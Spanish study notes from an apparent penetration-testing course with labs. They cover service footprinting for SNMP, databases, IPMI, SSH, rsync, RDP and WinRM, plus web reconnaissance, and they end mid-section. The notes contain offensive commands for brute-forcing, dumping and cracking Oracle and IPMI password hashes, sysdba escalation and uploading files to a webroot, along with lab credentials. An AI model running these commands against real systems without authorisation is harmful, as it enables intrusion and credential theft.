Son como contraseñas que determinan si la informacion solicitada se puede ver o no Las defautl son public y private

Versiones

SNMP V1

No tenia mecanismos de seguridad, autenticacion ni cifrado. Todo en texto plano e inseguro

SNMP V2

La autenticacion era si te sabias el comunnity string estabas dentro. No habia seguridad ni cifrado

SNMP V3

Tiene mecanismos de seguridad, autenticacion y cifrado pero es mas complejo

Footprinting

Snmpwalk

Usado para enumerar OIDs

snmpwalk -v2c -c COMMUNITY_STRING IP

![[Pasted image 20260403112627.png]]

En la salida vemos el POD, el MID e informacion de ese OID

Onesixtyone

Usado como fuerza bruta para encontrar community strings

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt IP

![[Pasted image 20260403112901.png]]

Muchas veces en redes extensas usan los hostname como community strings o a veces le añaden algun simbolo

El caso es que si nos sabemos el patron podemos usar crunch ([[Cracking Passwords With Hashcat]]) para crear una wordlist personalizada

Braa

Una vez sepamos la community string podemos hacer fuerza bruta de los OIDs individuales y enumerar informacion

braa COMMUNITY_STRING@IP:.1.3.6.*

![[Pasted image 20260403113314.png]]

LABORATORIO

1. Enumera el SNMP service y obten el mail addres del admin

![[Pasted image 20260403114547.png]]

Encontramos public

![[Pasted image 20260403115041.png]]

2. Version customizada del SNMP

![[Pasted image 20260403115056.png]]

3. Enumera el script customizado del sistema y obten la flag

![[Pasted image 20260403115122.png]]

o

![[Pasted image 20260403115151.png]]

Base de datos relacional (tablas y columnas)

Se necesitan credenciales validas

Puerto 3306 TCP

Elementos MySQL

Cliente

Ejecuta queries en el servidor que le dan informacion de las BBDD El CMS WP tiene su propia BBDD que solo se puede acceder en local donde guarda post, usernames, pass…

Server

Almacena la infromacion en tablas y columnas. Muy usado en webdinamicas Se suele combinar con (Linux, Apache, MySQL y PHP) LAMP o si se usa Nginx LEMP

Footprinting

sudo nmap -Pn -sS -sVC --script mysql* -T4 -p3306 IP

![[Pasted image 20260403120039.png]]![[Pasted image 20260403120047.png]]

Hay que tener cuidado con los falsos positivos. Ahi nos dice en el modulo de mysql-brute que root no tiene contraseña (is empty) pero si lo comprobamos manualmente vemos que no es asi:

![[Pasted image 20260403120227.png]]

Loggin MySQL

USUARIO POR DEFECTO: root

mysql -u USER -pPASS -h IP
mysql -u USER -h IP -p --ssl=0

![[Pasted image 20260403120305.png]]![[Pasted image 20260403120312.png]]

Databases:

• sys o system schema: contiene tablas, informacion y metadata necesaria para la gestion ![[Pasted image 20260403120521.png]]

• information schema: contiene metadata que mucha ya es dada por sys. Contiene menos info que sys

Comandos MySQL

![[Pasted image 20260403120628.png]]

LABORATORIO

1. Enumera MySQL y obten la version

![[Pasted image 20260403120919.png]]

2. Encontramos las creds (robin:robin). Intentalas contra MySQL. Encontrar el mail de “Otto Lang”

![[Pasted image 20260403122057.png]]![[Pasted image 20260403122114.png]]![[Pasted image 20260403122132.png]]

Es una base de datos relacional de Microsoft de gestion del sistema que corre en Windows y es popular para aplicaciones que corren en .NET framework

Puerto 1433 TCP

Elementos

MSSQL Client

SSMS es una caracteristica que se suele instalar en el server para una configuracion inicial SSMS es la aplicacion de parte del cliente. No solo puede ser instalada en el server. SI nos conectamos a un host que tiene SSMS y tenemos credenciales validas para conectarnos, podremos ver la database

![[Pasted image 20260403124415.png]]

Algunos clients mas:

• Impacket mssqlclient
• SQLPro
• SQL Server PowerShell
• mssql-cli

BBDD de MSSQL

![[Pasted image 20260403124522.png]]

Footprinting

sudo nmap -Pn -sS -sVC --script ms-sql* --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248

NSE Scripts:

• ms-sql-info
• ms-sql-empty-password
• ms-sql-xp-cmdshell
• ms-sql-config,ms-sql-ntlm-info
• ms-sql-tables
• ms-sql-hasdbaccess
• ms-sql-dac
• ms-sql-dump-hashes

Podemos usar : scanner/mssql/mssql_ping de MSF Este nos dara informacion de ayuda en la parte de footprinting

![[Pasted image 20260403125339.png]]

Login

USUARIO POR DEFECTO: sa

impacket-mssqlclient USER_DB@IP
impacket-mssqlclient USER_AD@IP -windows-auth

-windows-auth hace que nos autentiquemos con un usuario del AD o local no con un usuario de la base de datos

![[Pasted image 20260403125517.png]]

Comandos Enumeracion MSSQL

![[Pasted image 20260403130412.png]] ![[Pasted image 20260403130505.png]]![[Pasted image 20260403130513.png]]

LABORATORIO

1. Enumera el objetivo y devuelve el hostname

![[Pasted image 20260403130112.png]]

2. Usando (backdoor:Password1) encuentra la base de datos no default

![[Pasted image 20260403130454.png]]

EJEMPLO

![[Pasted image 20260405112105.png]]![[Pasted image 20260405112118.png]]![[Pasted image 20260405112133.png]]![[Pasted image 20260405112146.png]]![[Pasted image 20260405112158.png]]![[Pasted image 20260405112208.png]]

Es un protocolo que facilita la comunicacion entre las bases de datos Oracle y aplicaciones sobre la red. Soporta pilas de protocolo como TCP/IP e IPX/SPX

Se usa mucho en entornos con grandes y complejas databases como sanidad, finanzas, industria…

Ofrece encriptacion

Puerto 1521 TCP

Ejecutar para usar Odat Y SQLPLUS

Hay que ejecutar unas cosas que no vienen bien puestas en el modulo ya lo mirare

Footprinting

sudo nmap -Pn -sS -sVC -p1521 IP

![[Pasted image 20260403152410.png]]

SID es numero identificativo de la database que los clientes usan para especificar la instancia a la que se quieren conectar. Si no se especifica un SID se conectara a la default que estara especificada en el archivo de configuracion tnsnames.ora

Podemos usar vasrias forams para hacer una fuerza bruta de SIDs:

• NSE de Nmap

• Hydra

• Odat

  sudo nmap -Pn -sS -sVC -p1521 –script oracle-sid-brute IP

![[Pasted image 20260403152755.png]]

Odat

odat.py : es una herramienta de pentesting que enumera y explota las vulnerabilidades en Oracle Databases

./odat.py all -s IP

![[Pasted image 20260403152929.png]]

Realiza todos los escaneres de usuarios, SIDs, vulnerabilidades etc

En este caso encontramos las creds de scott/tiger

Login con SQLplus

sqlplus USER/PASS@IP/SID

![[Pasted image 20260403153107.png]] ![[Pasted image 20260403153545.png]]

No tenemos privielegios pero podemos intentar conectarnos a la BBDD del admin y tener mas privilegios:

sqlplus USER/PASS@IP/SID as sysdba

![[Pasted image 20260403153835.png]]

No podemos hacer modificaciones ni añadir nuevos usuarios ahora pero podemos obtener los hashes de la base de datos sys.user$ y crackearlos offline

select name, password from sys.user$;

![[Pasted image 20260403154044.png]]

Otra forma es subir un archivo pero necesitamos que haya un webserver corriendo y saber el webroot. Los default:

![[Pasted image 20260403154159.png]]

./odat.py utlfile -s IP -d SID -U USER -P PASS --sysdba --putFile WEBROOT NOMBRE_ARCHIVO_DST ./RUTA/ARCHIVO_LOCAL

![[Pasted image 20260403154341.png]]

Si fuese un shell, abririamos el listener y comprobariamos si existe con curl:

curl -X GET http://IP/archivo

ERROR LIBRERIAS

Si da un error en las librerias ejecutamos esto primero:

sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig

![[Pasted image 20260403153130.png]]

Comandos SQLPlus

![[Pasted image 20260403153421.png]]![[Pasted image 20260403153432.png]]

LABORATORIO

1. Obtener el hash de la contraseña de DBSNMP

![[Pasted image 20260403155220.png]]

![[Pasted image 20260403161841.png]]![[Pasted image 20260403161846.png]]![[Pasted image 20260403161858.png]]![[Pasted image 20260403161902.png]]![[Pasted image 20260403161906.png]]

Es un conjunto de especificacion para sistemas de gestion basados en hw usados para gestion y monitorizacion

Actua como un subsistema autonomo y trabaja independientemente del BIOS, CPU, firmware. Da la habilidad a los administradores de gestionar y monitorizar sistemas incluso si estan apagados. Monitoriza la temperatura, voltaje, ventiladoresd, fuentes de alimentacion…

Trabaja usando la conexion de red directa con el sistema y no necesita acceso al SO via login shell. Puede ser usado tambien para actualizaciones sin acceso al host

Puerto 623 UDP

Footprinting

Un BMC, Baseboard Management Controller, es un pequeño controlador integrado en la placa base del servidor que permite administrarlo de forma remota aunque el sistema operativo esté apagado o fallando.

El BMC da un control muy alto sobre la máquina, casi como si tuvieras acceso físico, porque permite reiniciar, apagar, monitorizar e incluso reinstalar el sistema operativo. Los BMC más comunes son HP iLO, Dell DRAC y Supermicro IPMI, y suelen ofrecer consola web, Telnet o SSH. En una auditoría, si consigues acceso al BMC, el compromiso del servidor es muy grave

Default passwords:

![[Pasted image 20260403163139.png]]

sudo nmap -sU --script ipmi-version -p 623 IP |  dominio

![[Pasted image 20260403163022.png]]

Otra forma es con el modulo auxiliary/scanner/ipmi/ipmi_version de MSF

![[Pasted image 20260403163107.png]]

Login

Podemos probar las creds por defecto del BMC

Si no funcionan podemos usar el protocolon RAKP enm IMPI 2.0 que durante el proceso de autenticacion envia un sha1 o md5 de la pass del usuario

No hay solucion directa para esto. Se suele optar por creds largas y complejas pero con una que encontremos muchas veces se hacer pass reuse en otros hosts. Otra cosa que se hace como medida es reglas de segmentacion de red restringiendo el acceso directo a BMC

Si conseguimos la pass podremos conectarnos por SSH o Telnet

DUMPING HASHES

auxiliary/scanner/ipmi/ipmi_dumphashes - MSF

Este modulo encuentra el hash y lo crackea

![[Pasted image 20260403163841.png]] ![[Pasted image 20260403163853.png]]

Con esto podemos conseguir el hash de cualquier usuario valido en el BMC

• Para HP iLO podemos usar esto que probara combinaciones de letras UPPERCASE y numeros con 8 caracteres totales:

    hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u

• Para los demas

    hashcat -m 7300 ipmi.txt -w /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt

Tras conseguir pass

ipmitool -I lanplus -H 10.129.36.204 -U USER -P 'TU_PASSWORD' user list

Tambien hay opciones de energia (apagado, reinicio, encendido), de voltaje, chasis…

![[Pasted image 20260403170254.png]]

LABORATORIO

1. Que usuario podemos loggearnos en IPMI

![[Pasted image 20260403164917.png]]

2. Cual es pass ![[Pasted image 20260403165534.png]]

SSH

Protocolo encriptado que permite conexion directa con el objetivo. El servidor OpenSSH es open source. SSH 1 era vulnerable a ataques MITM

Puerto 22 TCP

Metodos de autenticacion:

• Password
• Public Key
• Host based
• Keyboard
• Challenge-response
• GSSAPI

Public Key

El host envia el public key al cliente que el cliente usa para identificar al host de forma univoca. Tiene un par, la private key, esta no puede ser obtenida por el atacante a menos que acceda al objetivo

La clave privada se puede crear con una pass phrase. Cuando nos queramos conectar via ssh con la clave privada, tendremos que poner la passphrase primero

Footprinting

ssh-audit : chekea el client-side y server-side para las malas configuraciones y muestra la informacion general, el algoritmo de encriptacion…

git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py IP

![[Pasted image 20260404161638.png]]![[Pasted image 20260404161644.png]]

Vemos el banner con la version la cual tiene la vulnerabilidad CVE-2020-14145 que permite hacer MITM y ataque de intento de conexion inicial La salida nos puede dar informacion importante como los metodos de autenticacion

Cambiar el metodo de autenticacion

En la salida hemos podido ver los metodos de autenticacion. Tambien lo podemos ver asi:

ssh -v USER@IP

![[Pasted image 20260404162126.png]]

ssh USER@IP -o PreferredAuthentications=METODO

![[Pasted image 20260404162217.png]]

Con esto especificamos el metodo de autenticacion

Rsync

Es una herramienta que permite copiar archivos locales y remotos

Si ya existe una version del archivo que estamos transfiriendo en el host destino, este reduce drasticamente la cantidad de datos que se envian ya que solo envia las diferencias

Puerto 873 TCP

Puede usar el demonio ssh

Guide : esta muestra formas de abusar Rsync como listar contenidos del share

A veces no se necesita autenticacion otras si. Si encontramos credenciales siempre esta bien mirar

sudo nmap -Pn -sS -sVC -T4 -p873 IP

![[Pasted image 20260404162943.png]]

Probando acceso al share

nc -nv IP PUERTO
#list

![[Pasted image 20260404163007.png]]

Enumerar un share publico

rsync -av --list-only rsync://IP/SHARE

-a: modo archivo, conserva estructura, permisos…

![[Pasted image 20260404163059.png]]

Descargar archivos

rsync -av rsync://IP/SHARE .
rsync -av rsync://IP/SHARE/ARCHIVO .

Si corre encima del demonio de SSH como se comento al principio:

rsync -av -e ssh USER@IP:/SHARE/ARCHIVO .
rsync -av -e "ssh -p2222" USER@IP:/SHARE/ARCHIVO .

Subir archivos

rsync -av ARCHIVO rsync://IP/SHARE 

Si corre encima del demonio de SSH como se comento al principio:

rsync -av -e ssh ARCHIVO USER@IP:/SHARE/ 
rsync -av -e "ssh -p2222" ARCHIVO USER@IP:/SHARE/ 

PODRIAMOS SUBIR ARCHIVOS A CUALQUIER PARTE DEL SISTEMA /RUTA SI TUVIERAMOS CREDS VALIDAS

R-Services

Junto con telnet fueron reemplazados por ssh. Transmiten informacion client-server y server-client sin encriptar haciendo posibles los ataques MITM

Puertos 512, 513, 514 TCP

Footprinting

sudo nmap -Pn -sS -sVC -p512,513,514 IP

![[Pasted image 20260404165304.png]]

Comandos R-Service

R-commands cada uno usa un puerto:

• rcp (remote copy)
• rexec (remote execution)
• rlogin (remote login)
• rsh (remote shell)
• rstat
• ruptime
• rwho (remote who)

![[Pasted image 20260404164740.png]]

/etc/hosts.equiv

Tiene una lista de hosts que son permitidos. Cuando un host de estos se intentan conectar al sistema no necesita mas autenticacion

![[Pasted image 20260404165147.png]]

Login con rlogin

rlogin IP -l USER

![[Pasted image 20260404165718.png]]

En otra terminal podemos usar rwho para ver informacion de los usuario conectados y las workstation

rwho

![[Pasted image 20260404165901.png]]

Listar usuarios con Rusers

rusers -al IP

![[Pasted image 20260404170045.png]]

RDP

Puerto 3389 TCP

Footprinting

sudo nmap -Pn -sS -sVC IP -p3389 --script rdp*

![[Pasted image 20260404171132.png]]

Check RDP Security

rdp-sec-check.pl   git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check ./rdp-sec-check.pl IP

![[Pasted image 20260404171427.png]]![[Pasted image 20260404171441.png]]

Conexion RDP

Varias herramientas: xfreerdp, rdesktop, or Remmina

xfreerdp /u:USER /p:"PASS" /v:IP

![[Pasted image 20260404171620.png]]![[Pasted image 20260404171626.png]]

WinRM

Protocolo de gestion remota basado en command line

Puerto 5985 y 5986 por HTTP o HTTPS

Footprinting

sudo nmap -Pn -sS -sVC -p5985,5986 IP

![[Pasted image 20260404174957.png]]

Login WinRM

evil-winrm -i IP -u USER -p PASS

![[Pasted image 20260404175102.png]]

WMI

Extension de CIM (Modelo de Informacion Comun, funcionalidad principal de la administracion empresarial basada en web

Permite acceso de lectura y escritura a casi todas las configuraciones del sistema

Footprinting

Puerto 135 TCP

impacket-wmiexec USER:PASS IP "hostname"

![[Pasted image 20260404175548.png]]

Creds encontradas:

ceil:qwer1234

![[Pasted image 20260404181125.png]] ![[Pasted image 20260404181329.png]]

Enumeramos DNS para practicar:

Enumerar DNS sirve para encontrar:

• Hostnames
• Subdomains que podemos poner en el navegador y puede que tengan utilidades diferentes
• IPs que podemos enumerar
• Servicios como correo etc

Todos estos se pueden enumerar y encontrar nuevos puertos y vectores de ataque

![[Pasted image 20260404182053.png]]![[Pasted image 20260404182109.png]]

Ahora podemos conectarnos a FTP con las creds:

![[Pasted image 20260404184055.png]]

Tenemos que usar el comando passive para salir del modo pasivo No encontramos nada podemos tratar en el puerto 2121

![[Pasted image 20260404184212.png]]

Aqui conseguimos una clave privada ssh podemos conectarnos por ssh usandola:

![[Pasted image 20260404184403.png]]![[Pasted image 20260404184429.png]]

![[Pasted image 20260405102140.png]]

Vamos a ver el NFS y montarlo si podemos

![[Pasted image 20260405105321.png]] ![[Pasted image 20260405105533.png]]

No puedo entrar porque no soy root

![[Pasted image 20260405105603.png]]

user=“alex” password=“lol123!mD”

Probamos estas creds en SMB:

![[Pasted image 20260405110021.png]]

No encontramos nada vamos al otro share

![[Pasted image 20260405110241.png]]

sa:87N1ns@slls83

Podemos probar tambien a conectarnos con las creds de alex

![[Pasted image 20260405110843.png]]

Vemos un MSSQL, podemos entrar con las creds encontradas de sa

![[Pasted image 20260405111025.png]]![[Pasted image 20260405111259.png]]

Esto error es porque tenemos que correr el MSSQL como Administrator

![[Pasted image 20260405111335.png]]

Vamos a probar la contraseña de sa

![[Pasted image 20260405111437.png]]

Entramos

![[Pasted image 20260405111457.png]] ![[Pasted image 20260405111912.png]]

En account tiramos una query ![[Pasted image 20260405111707.png]] ![[Pasted image 20260405111925.png]]![[Pasted image 20260405112001.png]]

![[Pasted image 20260405112952.png]]

Vamos a conectarnos a imaps:

![[Pasted image 20260405113138.png]]

No podemos hacer mucho sin creds. Podemos mirar servicios UDP

![[Pasted image 20260405114318.png]] ![[Pasted image 20260405114516.png]] ![[Pasted image 20260405114524.png]]

tom NMds732Js2761

![[Pasted image 20260405114917.png]]![[Pasted image 20260405114931.png]]![[Pasted image 20260405114943.png]]

Copiamos el certificado SSH

![[Pasted image 20260405115035.png]]

Nos conectamos

![[Pasted image 20260405115136.png]]![[Pasted image 20260405115340.png]]

Hay servicio mysql

![[Pasted image 20260405115514.png]]![[Pasted image 20260405115619.png]]![[Pasted image 20260405115628.png]]

1. Internet Presence

El objetivo es identificar todos los objetivos posibles del sistema e interfaces que pueden ser testeados

2. Gateway

El objetivo es entender con que estamos tratando y con que debemos tener cuidado

3. Accessible Services

Trata de entender la razon y funcionalidad del sistema objetivo y ganar el conocimiento necesario para comunicarnos con el y explotarlo

4. Processes

Entender aquellos factores e identificar las dependencias de ellos

5. Privilegios

Es crucial identificar y enteneder que podemos y que no podemos hacer

6. OS Setup

Ver como los administradores manejan el sistema y que informacion sensible podemos obtener

Es una protocolo diseñado para acceder a bases de datos que almacenan informacion sobre los recursos de internet registrados

Nos prove informacion del dominio como:

• Domain name

• Registrar: compañia donde el dominio esta registrado

• Registrant Contact: persona que registro el dominio

• Administrative Contact: persona responsable del dominio

• Contacto Tecnico: persona que se encarga de problemas tecnicos del dominio

• Creacion y expiration dates

• NS: DNS servers que traducen el dominio en una IP

  whois DOMAIN

![[Pasted image 20260405161509.png]]

Uso de Whois

Cuando se envia un correo o se encuentra el dominio origen de un malware se usa whois y se ve el dia de creacion y expiracion, NS, Registrants, etc. con lo que se puede determinar si el dominio es malicioso o no

LABORATORIO

1. Realiza un whois a paypal.com. Cual es el IANA o Internet Assigned Numbers Authority ID

![[Pasted image 20260405162015.png]]

2. Cual es el email de contacto en tesla.com

![[Pasted image 20260405162054.png]]![[Pasted image 20260405162115.png]]

Domain Name System traduce domain name a IPs y viceversa

Como funciona

Imaginemos que queremos navegar a www.example.com y nuestra maquina no entiende de palabras sino de IPs

1. Maquina preguntya la direccion: primero mira la memoria cache y si no la encuentra busca en DNS resolvers que da nuestro ISP
2. El DNS resolver mira su mapa: el DNS resolver mira su cache y si no esta empieza a mirar en otros DNS servers jerarquicamente. Empieza preguntando al root NS
3. Root DNS marca el punto: Root NS no sabe exactamente la IP pero si quien la tiene y lo consulta con el DNS de ese TLD (.com, .org…)
4. El TLD NS: es un mapa regional. Este sabne que NS authoritative es responsable de ese dominio y lo pregunta
5. Authoritative NS consigue la IP address y se la devuelve a DNS resolver
6. DNS resolver nos devuelve la informacion
7. Nuestra maquina se conecta

/etc/hosts o C:\Windows\System32\drivers\etc\hosts

Es una archivo que relaciona hostnames con IP addresses. DNS lo automatiza y hosts lo hace de forma directa y podemos meter entradas de forma manual

![[Pasted image 20260405163444.png]]

Zone Transfer y Registros

Un Zone Transfer es una parte distinta el namespace que una entidad o administrador gestionan

Dentro de un dominio principal (paquete central) se encontraran todos sus subdominio aunque no todos los subdominios necesitan estar en la misma zona

![[Pasted image 20260405164305.png]]

En este ejemplo encontrarmos NS, MX e IPs del dominio example.com

Registros

![[Pasted image 20260405164351.png]]![[Pasted image 20260405164359.png]]

NS y SOA

![[Pasted image 20260405170155.png]]![[Pasted image 20260405170207.png]]

Hay muchas herramientas de reconocimiento DNS y hacer consultas DNS para extraer informacion vulnerable

![[Pasted image 20260405164924.png]]

Dig

Herramienta poderosa que permite realizar consultas DNS y que nos devuelva varios DNS records

![[Pasted image 20260405165035.png]]![[Pasted image 20260405165042.png]]

Ejemplo

![[Pasted image 20260405165115.png]]![[Pasted image 20260405165208.png]]

LABORATORIO

1. Que IP address tiene inlanefreight.com ![[Pasted image 20260405165701.png]]

2. Que dominio es devuelto en el registro PTR de 134.209.24.248 ![[Pasted image 20260405165731.png]]

3. Cual es el dominio completo devuelto cuando consultas el registro mail de facebook.com

![[Pasted image 20260405165756.png]]

Cuando exploramos registros DNS nos centramos principalmente en el dominio principal y su informacion

Los subdominios son extensiones de este dominio principal que separa diferentes secciones o funcionalidades:

• example.com
• blog.example.com
• mail.example.com
• shop.example.com

Es importante porque pueden tener informacion y recursos que no son directamente accesibles desde el sitio web principal como portales login ocultos, aplicaciones antiguas, informacion sensible…

En DNS records se ven junto al registro A o AAAA. CNAME se puede usar para crear alias del dominio principal y sus subdominios

Enumeracion activa

Interactuar con el dominio objetivo y sus DNS servers para descubrir los subdominios:

• DNS zone transfer
• Brute force enum: dnsenum, ffuf y gobuster

Enumeracion pasiva

Mirar en fuentes externas para descubrir subdominios sin consultar directamente a los DNS servers:

• CT logs
• Public repositories SSL/TLS que pueden tener asociados subdominios en su campo SAN
• Search engine como Google Dorks:
  • site:*DOMAIN

Se usa una wordlist para descubrir subdominios

Herramientas que podemos usar

![[Pasted image 20260406174936.png]]

DNSEnum

Con esta herramienta se pueden hacer varias cosas como:

• Enumeracion de registros DNS

• Intentos de zone transfer

• Subdomain Brute Forcing

• Google scraping : busca resultados en Google para encontrar mas subdominios

• Reverse Lookup : para identificar el dominio asociado a una IP

• Whois Lookup

  dnsenum –enum DOMAIN -f WORDLIST -r dnsenum DOMAIN -f WORDLIST -r

-r : recursivo

WORDLIST: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

![[Pasted image 20260406175257.png]]![[Pasted image 20260406175303.png]]

LABORATORIO

1. Usando los subdominios conocidos de inlanefreight.com encuentra el subdominio perdido mediante brute forcing

![[Pasted image 20260406180200.png]]

Una zona de transferencia es una copia de todos los registros DNS de una zona (domino y sus subdominios) que es imprescindible para mantener la coherencia y redundancia de los DNS servers

Si no hay suficiente seguridad se puede descargar el archivo de la zona con todos los registros

![[Pasted image 20260407151422.png]]

SOA contiene la infromacion importante de la zona incluido el numero de serie

Explotando el zone transfer

dig axfr @NS/IP_NS DOMAIN

![[Pasted image 20260407151646.png]]

LABORATORIO

1. Tras hacer un zone transfer del dominio inlanefreight.htb, cuantos DNS records obtuvimos

![[Pasted image 20260407152216.png]]

2. Encontrar la IP de ftp.admin.inlanefreight.htb ![[Pasted image 20260407152228.png]]

3. Encontrar la IP mas grande dentro del rango 10.10.200

![[Pasted image 20260407152346.png]]

El webserver puede alojar varios dominios o subdominios en una solo IP, ha esto se le llama VIRTUAL HOSTING. El webserver sabe a que subdominio dirigirte por el parametro header “HTTP Host” indicandolo

Los subdominios tienen sus propios DNS records, son extensiones del dominio principal y pueden ser usados para diferenciar secciones o servicios en un website El virtual host son configuraciones dentro del webserver que permite hostear varias websites o aplicaciones que puden estar asociadas a un subdominio o dominio

Si el virtual host no tiene un registro DNS podemos acceder modificando /etc/hosts

Funcionamiento VHost

![[Pasted image 20260407153308.png]]

Tipos de Virtual Hosting

• Basado en nombre: usa el HTTP Host header para distinguir websites
• Basado en IP: asigna una IP unica a cada website hosteado en el servidor. Mejor aislamiento
• Basado en puerto: por ejemplo una por 80 y otra por 8080. No es tan comun ni user friendly

Herramientas para descubrir VHOSTs

![[Pasted image 20260407153614.png]]

Gobuster

gobuster vhost -u URL -w WORDLIST --append-domain

–append-domain: pone el nombre del dominio despues de cada palabra de la wordlist necesario en versiones nuevas

WORDLIST: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

PARAMETROS:

Parametro	Explicacion
-t N	Numero de threads en paralelo
-k	Ignora errores de ssl
-o ARCHIVO	Lo guarda en un archivo
–no-tls-validation	Para cuando falle el tls

![[Pasted image 20260407153926.png]]

LABORATORIO

1. Realiza fuerza bruta de vhosts en el target. Cual es el subdomain completo del que tiene el prefijo web

Tenemos que modificar primero el /etc/hosts porque sino no llegamos al dominio ya que no lo reconocera ningun DNS publico

![[Pasted image 20260408150541.png]] ![[Pasted image 20260407154630.png]] ![[Pasted image 20260407155223.png]]

2. Y del que tiene el prefijo vm

![[Pasted image 20260407155141.png]]

3. Y del que tiene el prefijo br

![[Pasted image 20260407155235.png]]

4. Y del que tiene el prefijo a

![[Pasted image 20260407155211.png]] ![[Pasted image 20260407155717.png]]

5. Y del que tiene el prefijo su

![[Pasted image 20260407155200.png]]![[Pasted image 20260407155706.png]]

La confianza en Internet se basa en el protocolo SSL que cifra la comunicacion para que no se pueda leer facilmente. Esto se funciona mediante certificados digitales que demuestran que esa web es realmente quien dice ser

Estos son dados por los CA o Autoridades Certificadoras pero en algunos casos pueden cometer errores o ser comprmetidas emitiendo certificados falsos que puede hacer que un atacante se haga pasar por una entidad que no es (MITM)

Para solucionarlo surgieron los CT logs que es donde las CAs publican los certificados que emiten publicamente

CT Logs y Web Recon

Los CT Logs pueden desvelar subdominios asociados a certificados antiguos y expirados que pueden contener sw desactualizado y vulnerable

A diferencia del brute forcing el CT Log provee de la lista definitiva de los dominios y sus subdominios

Buscando CT Logs

![[Pasted image 20260407160954.png]]

Censys

crt.sh

crt.sh

curl -s "https://crt.sh/?q=DOMAIN&output=json" | jq -r '.[] | select(.name_value | contains("dev")) | .name_value' | sort -u

![[Pasted image 20260407161052.png]]

Encontrar detalles tecnicos de las tecnologias o aplicaciones web que corren en sitio web

Nos sirve para identificar:

• Vectores de ataques
• Identificar malas configuraciones
• Priorizar objetivos

Tecnicas

• Banner Grabbing: analizar el banner que devuelve el web server y otros servicios que nos pueden dar la version, software y otros detalles
• Analizar HTTP Headers: en X-Powered-By por ejemplo podemos encontrar el sw del webserver o tecnologias como scripting lenguage
• Probar respuestas especificas: probar distintas entradas para obtener distintas salidas que puedan mostrarnos mensjaes de error con info filtradas o comportamientos
• Analizar el contenido de la pagina

Herramientas

![[Pasted image 20260407162530.png]]

Fingerprinting

Banner Grabbing

curl -I DOMAIN

Esto muestra los headers del website. Podemos ver la version de Apache y que es un Ubuntu. Adsemas vemos que nos esta intentando redirigir a https://DOMAIN

![[Pasted image 20260407162645.png]]

curl -I SITIO_WEB

![[Pasted image 20260407162809.png]]

Ahora vemos que esta corriendo un WP y nos esta redirigiendo a https://www.DOMAIN

curl -I www.SITIO_WEB

![[Pasted image 20260407162859.png]]

Podemos ver que tiene links hacia wp-json

Wafw00f

WAF es un firewall de un sitio web que previene de ciertos ataques. Podemos mirara si tiene un WAF el sitio web

pip3 install git+https://github.com/EnableSecurity/wafw00f
wafw00f DOMAIN

![[Pasted image 20260407163106.png]]

Esta defendido por Wordfence de Defiant

Nikto

Es un webserver scanner. Encuentra plugins, themes, sw, archivos y configuraciones inseguras…

nikto -h DOMAIN -Tuning (Numero o letra)

-Tuning b: indica que solo modulos de fingerprinting

![[Pasted image 20260407163344.png]]

LABORATORIO

1. Determina la version Apache que esta corriendo

![[Pasted image 20260407163940.png]] ![[Pasted image 20260407163846.png]]

2. Que CMS usa app.inlanefreight.local en el sistema

![[Pasted image 20260407164054.png]]

3. Que SO esta corriendo el dev.inlanefreight.local

![[Pasted image 20260407164227.png]]

Es el proceso de automaticamente y recursivamente navegar por el sitio web siguiendo links, hipervinculos y recolectando informacion

Como funciona

El crawler busca la pagina, parsea el contenido y extrae los links que los va añadiendo a una cola para repetir esto en cada link

![[Pasted image 20260407195336.png]] ![[Pasted image 20260407195342.png]]

Luego seguiria con los links 2,4 y 5

2 formas de hacerlo:

• Primero ancho: prioriza mirar todos los websites antes de profundizar una capa mas

![[Pasted image 20260407195449.png]]

• Primero profundo: prioriza mirar las capas en profundidad de un website hasta no quedarle mas y vuelve a la primera capa para repetirlo

![[Pasted image 20260407195643.png]]

Extraen:

• Links internos y externos
• Comentarios
• Metadata
• Archivos sensibles

Es un archivo de texto que se encuentra en el webroot: http://IP/robots.txt, que indica a los browsers y crawlers que partes si y que partes no pueden visitar de forma indexada

![[Pasted image 20260407195923.png]]

Aqui se indica que para cualquier User Agent no se pude visitar /private/

Directivas que puede tener

![[Pasted image 20260407200019.png]]![[Pasted image 20260407200049.png]]

.well-known es un directorio estandarizado que se encuentra en el webroot y contiene metadata critica e incluye archivos e informacion de configuracion relacionado con servicios, protocolos y mecanismos de seguridad

https://example.com/.well-known/security.txt -> security policy

Well-Known URIs

![[Pasted image 20260407200356.png]]![[Pasted image 20260407200406.png]]

Crawlers populares

• Burp Suite Spider
• ZAP
• Scrapy
• Apache Nuth

Scrapy

Instalacion scrapy y ReconSpider

pip3 install scrapy --break-system-packages 
wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip
unzip ReconSpider.zip

Usando ReconSpider

python3 ReconSpider.py http://Pagina_Inicial

![[Pasted image 20260407201554.png]]

Los resultados seran en JSON:

![[Pasted image 20260407201615.png]]

Tipos de datos extraidos:

![[Pasted image 20260407201644.png]]

LABORATORIO

1. Tras spidear inlanefreight.com identifia la localizacioon donde los reportes futuros seran almacenados

![[Pasted image 20260407201939.png]]![[Pasted image 20260407201949.png]]![[Pasted image 20260407202338.png]]![[Pasted image 20260407202351.png]]

Si miramos dentro con nano en la parte de comentarios encontramos un comentario que habla de cambiar la ubicacion de nuevos reportes:

![[Pasted image 20260407202451.png]]

Permite lanzar queries en Google para acotar las busquedas. Hay tambien para otros navegadores pero nos centraremos en los google dorks

Operadores

Google Dorks filtros

![[Pasted image 20260407202730.png]]![[Pasted image 20260407202739.png]]![[Pasted image 20260407202748.png]]

Ejemplos:

![[Pasted image 20260407202807.png]]

Internet Archive’s Wayback Machine es un repositorio que almacena paginas web en su versiones pasadas

Funciona usando web crawlers que realizan captuaras a las websites cada cierto tiempo ademas de guardar el HTML, CSS y JS + imagenes y otros recursos

Para que nos sirve

